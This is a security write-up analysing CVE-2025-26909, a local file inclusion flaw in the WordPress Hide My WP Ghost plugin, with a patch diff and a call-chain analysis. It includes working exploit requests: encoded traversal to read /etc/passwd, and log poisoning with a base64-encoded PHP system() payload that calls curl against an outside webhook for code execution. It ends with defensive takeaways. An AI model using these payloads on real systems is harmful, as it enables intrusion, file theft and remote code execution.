CVE-2025-26909 Analysis & POC

1 CVE & Basic Info
The Hide My WP Ghost plugin version ≤ 5.4.01 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require
, thereby injecting or reading local files on the server (for example configuration files containing credentials), leading to sensitive information disclosure and, in some configurations, possible code execution.
- CVE ID: CVE-2025-26909
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 5.4.01
- Patched Versions: 5.4.02
- CVSS severity: High (9.6)
- Required Privilege: Unauthenticated
- Product: WordPress Hide My WP Ghost Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - Hide My WP Ghost: 5.3.02 (vulnerable) and 5.4.02 (patched).
- Diff tool - Meld or any diff/comparison tool to check and compare differences between the two versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
public function getOriginalUrl( $url ) {
// Build the rewrite rules if they are not already built
if ( empty( $this->_rewrites ) ) {
$this->buildRedirect();
}
// Parse the URL components
$parse_url = wp_parse_url( $url );
// Get the home root path
$path = wp_parse_url( home_url(), PHP_URL_PATH );
// Backslash the paths
if ( $path <> '' ) {
$parse_url['path'] = preg_replace( '/^' . preg_quote( $path, '/' ) . '/', '', $parse_url['path'] );
}
// Replace paths to original based on rewrite rules
if ( isset( $this->_rewrites['from'] ) && isset( $this->_rewrites['to'] ) && ! empty( $this->_rewrites['from'] ) && ! empty( $this->_rewrites['to'] ) ) {
$parse_url['path'] = preg_replace( $this->_rewrites['from'], $this->_rewrites['to'], $parse_url['path'], 1 );
}
// Default to https if the scheme is not set
if ( ! isset( $parse_url['scheme'] ) ) {
$parse_url['scheme'] = 'https';
}
// Reconstruct the URL
if ( isset( $parse_url['port'] ) && $parse_url['port'] <> 80 ) {
$new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . ':' . $parse_url['port'] . $path . $parse_url['path'];
} else {
$new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . $path . $parse_url['path'];
}
// Append query string if present
if ( isset( $parse_url['query'] ) && ! empty( $parse_url['query'] ) ) {
$query = $parse_url['query'];
$query = str_replace( array( '?', '%3F' ), '&', $query );
$new_url .= ( ! strpos( $new_url, '?' ) ? '?' : '&' ) . $query;
}
// Return the constructed URL
return $new_url;
}
The getOriginalUrl()
function is used to parse and reconstruct the original URL based on the system’s rewrite rules.
In the vulnerable version, the value of $new_url
is not sanitized before being returned, allowing an attacker to inject malicious path components like ../../etc/passwd
, leading to LFI risk.
Patched version:
public function getOriginalUrl( $url ) {
// Build the rewrite rules if they are not already built
if ( empty( $this->_rewrites ) ) {
$this->buildRedirect();
}
// Parse the URL components
$parse_url = wp_parse_url( $url );
// Only if there is a path to change
if( !isset( $parse_url['path'] ) ) {
return $url;
}
// Get the home root path
$path = wp_parse_url( home_url(), PHP_URL_PATH );
// Backslash the paths
if ( $path <> '' ) {
$parse_url['path'] = preg_replace( '/^' . preg_quote( $path, '/' ) . '/', '', $parse_url['path'] );
}
// Replace paths to original based on rewrite rules
if ( isset( $this->_rewrites['from'] ) && isset( $this->_rewrites['to'] ) && ! empty( $this->_rewrites['from'] ) && ! empty( $this->_rewrites['to'] ) ) {
$parse_url['path'] = preg_replace( $this->_rewrites['from'], $this->_rewrites['to'], $parse_url['path'], 1 );
}
// Default to https if the scheme is not set
if ( ! isset( $parse_url['scheme'] ) ) {
$parse_url['scheme'] = 'https';
}
// Reconstruct the URL
if ( isset( $parse_url['port'] ) && $parse_url['port'] <> 80 ) {
$new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . ':' . $parse_url['port'] . $path . $parse_url['path'];
} else {
$new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . $path . $parse_url['path'];
}
// Append query string if present
if ( isset( $parse_url['query'] ) && ! empty( $parse_url['query'] ) ) {
$query = $parse_url['query'];
$query = str_replace( array( '?', '%3F' ), '&', $query );
$new_url .= ( ! strpos( $new_url, '?' ) ? '?' : '&' ) . $query;
}
// Return the constructed URL
return sanitize_url( $new_url );
}
The patch calls sanitize_url($new_url)
before returning, which helps remove dangerous path components or schemes, preventing LFI.
3.2 Vulnerable Code
getOriginalUrl()
is called in showFile()
, and its return value is assigned to $new_url
public function showFile( $url ) {
// other logic
$new_url = $this->getOriginalUrl( $url );
$new_url_no_query = ( ( strpos( $new_url, '?' ) !== false ) ? substr( $new_url, 0, strpos( $new_url, '?' ) ) : $new_url );
$new_path = $this->getOriginalPath( $new_url );
$ctype = false;
if ( $ext = $this->isFile( $new_url ) ) {
// other logic
} elseif ( strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getOption( 'hmwp_login_url' ) . '/' ) || strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_login_url' ) . '/' ) ) {
// other logic
} elseif ( $url <> $new_url ) {
if ( stripos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_wp-json' ) . '/' ) !== false ) {
// other logic
} elseif ( strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_activate_url' ) . '/' ) !== false || strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_wp-signup_url' ) . '/' ) !== false ) {
ob_start();
include $new_path;
$content = ob_get_clean();
header( "HTTP/1.1 200 OK" );
//Echo the html file content
echo $content;
exit();
} elseif ( ! HMWP_Classes_Tools::getValue( 'nordt' ) ) {
// other logic
}
}
}
include $new_path
is the point that can cause LFI; for it to be reached, the surrounding conditions must be satisfied.
$url
is different from$new_url
In getOriginalUrl()
the query handling is:
if ( isset( $parse_url['query'] ) && ! empty( $parse_url['query'] ) ) {
$query = $parse_url['query'];
$query = str_replace( array( '?', '%3F' ), '&', $query );
$new_url .= ( ! strpos( $new_url, '?' ) ? '?' : '&' ) . $query;
}
wp_parse_url( 'http://localhost/x/abc?' )
-> has apath
butquery
is empty (orquery
is unset / empty).- The condition
isset(...) && ! empty(...)
will fail for a bare?
without parameters, so nothing is appended to$new_url
. $new_url
returnshttp://localhost/x/abc
(no?
), while the original$url
ishttp://localhost/x/abc?
, so they differ and ($url <> $new_url
) istrue
.
$new_url_no_query
must contain the string'/' . HMWP_Classes_Tools::getDefault('hmwp_activate_url') . '/'
.
Searching the plugin source for hmwp_activate_url
, we find the function HMWP_Classes_Tools::getDefault('hmwp_activate_url')
returns wp-activate.php
.

Return value of HMWP_Classes_Tools::getDefault( 'hmwp_activate_url' )
Therefore, the practical condition is that $new_url_no_query
must contain /wp-activate.php/
.
👉 Thus, for include $new_path
to be executed, the URL must have a trailing ?
(so $url <> $new_url
) and contain /wp-activate.php/
in the path.
$new_path
is the return value of getOriginalPath($new_url)
public function getOriginalPath( $new_url ) {
// Remove domain from path
$new_path = str_replace( home_url(), '', $new_url );
// Remove queries from path
if ( strpos( $new_path, '?' ) !== false ) {
$new_path = substr( $new_path, 0, strpos( $new_path, '?' ) );
}
return HMWP_Classes_Tools::getRootPath() . ltrim( $new_path, '/' );
}
This function returns the root path without the query string, for example:
"http://localhost/x/wp-activate.php?" -> "/srv/www/wordpress/x/wp-activate.php"
So we have the necessary conditions for LFI to occur; we need to find the call flow to showFile()
public function maybeShowNotFound() {
//If the file doesn't exist
//show the file content
if ( is_404() ) {
$this->showFile( $this->getCurrentURL() );
} else {
$this->maybeShowLogin( $this->getCurrentURL() );
}
}
showFile()
is called by maybeShowNotFound
when the client requests a non-existent resource, with the parameter being the result of getCurrentURL()
.
public function getCurrentURL() {
$url = '';
if ( isset( $_SERVER['HTTP_HOST'] ) ) {
// build the URL in the address bar
$url = is_ssl() ? 'https://' : 'http://';
$url .= $_SERVER['HTTP_HOST'];
$url .= rawurldecode( $_SERVER['REQUEST_URI'] );
}
return $url;
}
The URI
from $_SERVER['REQUEST_URI']
is decoded and concatenated into $url
to return.
We placed a debugger in showFile()
and sent a request to a non-existent resource.
GET /x/wp-activate.php? HTTP/1.1
Host: localhost
The debugger hit showFile()
.

Debugger hit showFile()
4 Exploit
4.1 Proof of Concept (PoC)
Send a request with the LFI payload
GET /x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/etc/passwd? HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: blue
Priority: u=0, i
Content-Length: 0
Debug: Debugger with valid payload
Result:

Successful LFI result
Explanation:
/x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/etc/passwd?
after decoding becomes /x/wp-activate.php/..///..///..///..///../etc/passwd?
We use this string to trick Apache so that Apache does not detect Document Root traversal. If we use /x/wp-activate.php/../../../../../etc/passwd?
Apache will detect the Document Root traversal.
///
is still accepted as equivalent to /
, for example:
w41bu1@22NS088:~$ ls /////////
bin boot cdrom dev etc home lib lib64 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var swap.img
4.2 Log poisoning → LFI → RCE
4.2.1 Step 1
Send a request with PHP code placed in the User-Agent
header
GET / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu;<?php system(base64_decode('Y3VybCAtSSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYmFjN2UxNjMtYjQ3NS00MzIzLWEzMTUtYWNkMDEwMzU5NjQwJw==')); ?> Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: blue
Priority: u=0, i
Content-Length: 0
4.2.2 Step 2
Send a request with the LFI payload pointing to /var/log/apache2/other_vhosts_access.log
GET /x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/var/log/apache2/other_vhosts_access.log? HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: blue
Priority: u=0, i
Content-Length: 0
Result:

Successful LFI => RCE result
Explanation:
<?php system(base64_decode('Y3VybCAtSSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYmFjN2UxNjMtYjQ3NS00MzIzLWEzMTUtYWNkMDEwMzU5NjQwJw==')); ?>
When visiting the site with a User‑Agent containing the payload above, Apache will log this payload into the access log:
w41bu1@22NS088:~$ cat /var/log/apache2/other_vhosts_access.log
127.0.1.1:80 127.0.0.1 - - [18/Oct/2025:19:10:08 +0700] "GET /x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/var/log/apache2/other_vhosts_access.log? HTTP/1.1" 403 2844 "-" "Mozilla/5.0 (X11; Ubuntu; <?php system(base64_decode('Y3VybCAtSSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYmFjN2UxNjMtYjQ3NS00MzIzLWEzMTUtYWNkMDEwMzU5NjQwJw==')); ?>Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0"
When include()
loads a file, PHP will execute any PHP code (<?php ?>
) contained in the file before returning. The payload is Base64-encoded and decoded at include time with base64_decode
to avoid escaping issues with quotes ("
→ \"
) when the logger writes it. The decoded command becomes:
curl -I 'https://webhook.site/bac7e163-b475-4323-a315-acd010359640'
Finally, system()
runs this command and returns its output.
Note: although base64_decode
may be blocked by the plugin, Apache logged the payload before the plugin processed it; the Base64 string was still recorded in the log.
4.3 Conclusion
Hide My WP Ghost version ≤ 5.4.01 allows LFI because the plugin reconstructs a path and then include()
s it without canonicalization/whitelisting. By combining log‑poisoning and a payload containing /wp-activate.php/?
, an attacker can escalate LFI to RCE in some configurations. The issue is fixed in 5.4.02 by sanitizing the URL before returning.
4.4 Key takeaways
- Do not directly include data from requests.
- Use realpath() / basename() / whitelist / base_dir checks before including.
sanitize_text_field()
is not sufficient to prevent traversal.- Log poisoning (User‑Agent, Referer…) can create an inclusionable payload source — do not log raw content that might later be included.
- Fixes must combine: sanitize + canonicalize + directory restriction + control over log write permissions.
5 References
File Inclusion/Path traversal — Hacktrick
WordPress Hide My WP Ghost Plugin <= 5.4.01 is vulnerable to Local File Inclusion